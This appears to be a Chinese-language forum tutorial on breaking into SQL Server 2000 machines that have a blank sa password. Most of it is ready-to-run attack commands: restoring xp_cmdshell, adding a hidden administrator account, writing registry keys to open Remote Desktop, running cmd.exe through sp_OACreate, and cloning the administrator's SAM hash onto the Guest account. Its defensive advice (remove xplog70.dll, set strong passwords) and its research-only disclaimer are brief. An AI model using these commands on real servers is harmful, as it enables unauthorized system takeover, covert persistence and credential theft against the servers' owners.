SQLServer是一个c/s模式的强大的关系型数据库管理系统,使用的是SQL语言。是一种应用领域十分广泛的网络数据库。对网络安全了解的朋友应该知道,SQLServer的入侵最常见的就是利用Sa空密码入侵了,网上关于这种入侵的文章多如牛毛,有些这样的文章个人认为讲解的并不详细,甚至有些是错误的,所以经常能在一些安全论坛看到类似的提问,而且有些也得不到很好的解答,下面我将详细介绍我的一些经验和总结,与大家分享。
首先让我们来了解一下SQLServer中的存储过程。存储过程是存储在SQLServer中的预先写好的SQL语句集合。存储过程分为三类:系统提供的存储过程,用户定义的存储过程和扩展存储过程。系统提供的存储过程是在安装SQLServer时创建的存储过程,名字以“sp_”开头。用户定义的存储过程是用SQLServer的使用者编写的存储过程。扩展存储过程则是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,与一般动态链接库不同的是它们直接运行在SQLServer分配的内存地址内,其中危险性最高的扩展存储过程就是xp_cmdshell了,它可以执行操作系统的任何指令。
上面了解了什么是存储过程,我们再来看一下什么是Sa。Sa是SQLServer的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值。这样你应该明白为什么得到Sa,就可以得到系统的最高权限了吧。可是,有的时候情况并不是这样,下面我们以在局域网中的SQLServer入侵介绍一下SQLServer的攻与防。
使用扫描工具扫描得到一个sa为空的机器,使用SQL Exec连接上,发现命令并不能用(如图1)。
怀疑是扩展存储过程xp_cmdshell在查询分析器里删除,
语句为:exec sp_dropextendedproc 'xp_cmdshell',于是打开自己机的SQLServer的查询分析器,连上对方的SQLServer,对对方的xp_cmdshell进行恢复,语句为:
exec sp_addextendedproc 'xp_cmdshell', 'Xplog70.dll' (如图2)。
然后再用SQL Exec运行SQLCMD命令,发现SQLCMD可以使用了(如图3)。
我们再来在查询分析器里添加一个管理员用户(如图4),语句为
exec master..xp_cmdshell 'net user ceshi 98765321 /add'
exec master..xp_cmdshell 'net localgroup administrators ceshi /add',不用多做解释了吧,ceshi是管理员,密码为98765321。
命令执行完后,我们来看一下结果,语句为:
exec master..xp_cmdshell 'net user' (如图5)
有了管理员权限,我们使用流光的种植者上传一个可以开3389的bat文件,然后在对方机器运行,bat文件运行后,会使对方机器重新启动,待对方重新启动后,我们就可以用3389连接器连接了,再此不多做介绍。
或许你已经想到了,如果把xplog70.dll删除,扩展存储过程xp_cmdshell就运行不了了,也就不会被别人轻易入侵了。当我们需要的时候再把这个文件拷到C:\Program Files\Microsoft SQL Server\80\Tools\Binn就可以了,xplog70.dll在安装光盘上的位置为X86\BINN。
SQL Server2000还有很多强大的存储过程,还有没有可能别入侵者利用的呢?下面我们来看一下,还有哪些存储过程比较危险:
sp_Msgetversion(这个存储过程返回Microsoft SQL Server的版本号),使用方法:
EXEC master..sp_MSgetversion
更常用的方法获得版本信息(这种方法可以获得更多附加信息),是使用下列语句:
SELECT @@version
xp_dirtree(这个存储过程用来列出对应目录下的文件和文件夹),使用方法(要获得 C:\aaa的文件列表):
EXEC master..xp_dirtree 'C:\aaa'
xp_enumerrorlogs(这个扩展过程返回所有的错误日志和它们的最后更新日期),使用方法:
EXEC master..xp_enumerrorlogs
xp_fixeddrives(这个扩展存储过程很有用,可以列出所有硬盘分区各自的可用空间),使用方法:
EXEC master..xp_fixeddrives
xp_regread(这个扩展存储过程可以读取注册表指定的键里指定的值),使用方法(得到机器名):
DECLARE @test varchar(50)
EXEC master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',
@key='system\controlset001\control\computername\computername',
@value_name='computername',
@value=@test OUTPUT
SELECT @test
xp_regdeletekey (这个扩展存储过程可以删除注册表指定的键,使用时要谨慎),使用方法(从注册表里删除HKEY_LOCAL_MACHINE\SOFTWARE\aaa):
EXEC master..xp_regdeletekey
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\aaa'
xp_regdeletevalue(这个扩展存储过程可以删除注册表指定的键里指定的值),使用方法(要删除键值HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
EXEC master..xp_regdeletevalue
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\aaa',
@value_name='aaaValue'
xp_regwrite(这个扩展存储过程可以写入注册表指定的键里指定的值),使用方法(在键HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue写入bbb):
EXEC master..xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\aaa',
@value_name='aaaValue',
@type='REG_SZ',
@value='bbb'
xp_enumdsn(这个扩展存储过程可以得到ODBC中的用户数据源),使用方法:
EXEC master..xp_enumdsn
有了上面这些操作注册表的扩展存储过程,入侵者就可以做很多事情了,如果被入侵机器的3389没有被打开,入侵者就可以向被入侵机器的注册表里写入开3389的键值,只要等被入侵机器重新启动后,入侵者就可以连接3389端口了,具体要写哪些键值,网上有很多介绍,大家可以找一下,需要注意的是在查询分析器里运行xp_regwrite存储过程时(注意一条一条运行),按照下面这种简单的形式运行:
xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\TermDD','start','reg_dword',2
等被入侵机器重新启动后,就可以连接3389端口了。
还有OLE相关的一系列存储过程,这系列的存储过程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop,这些存储过程和xp_cmdshell一样危险,使用方法:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user test 1234 /add'--
这样对方系统增加了一个用户名为test,密码为1234的用户,再执行:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup administrators test /add '--
用户test,被加入管理员组。
再来看一下如何克隆管理员帐号,把已经停用的GUEST用户启动起来,在查询分析器里运行下面的语句:
xp_regread 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F4','F'
可以得到系统administrator的加密密码,然后复制(如图6),
然后再执行:
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SAM\SAM\Domains\Account\Users\000001F5', 'F','reg_binary',0x…(上一步得到的那串字符)
如果被入侵机器开了3389服务,那入侵者就可以用GUEST登陆了,密码为空,而且Guest的桌面与administrator的完全一样。在这里有个问题需要讲一下,有时候在执行xp_regread 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F4','F'
时,出现的提示是:
错误:
消息 22001,级别 1,状态 22001
RegOpenKeyEx() returned error 2, '系统找不到指定的文件。'
(所影响的行数为 0 行)
开始以为是SQL Server版本的问题,后来经过测试发现,此问题存在在各个版本的SQL SERVER,个人认为可能与对方系统当前用户对'HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4'的访问权限有关,如果当前的用户在本地计算机无法访问该注册表项,就会出现这个提示,我将继续研究,解决这个问题,也希望知道原因和解决办法的朋友给予指点,谢谢。
以前看过SQL大侠写的一篇《一次简单的SQL Server的安全测试》文章,主要内容是IIS危险虚拟目录结合Sa为空的一次入侵测试,让我们意识到尽管我们对SQL Server做了一定的安全设置,可是功能强大的SQL Server给使用者提供方便的同时,也有可能被入侵者利用。所以最安全的方法就是给你的Sa和系统用户起一个健壮的口令,以不变应万变。
以上两台机器的测试环境均为win2000高级服务器版(sp4)+SQLServer2000(sp3)
本文方法仅供研究,请勿用于破坏上,由本文方法造成任何损失,由使用者负责,本人概不负责。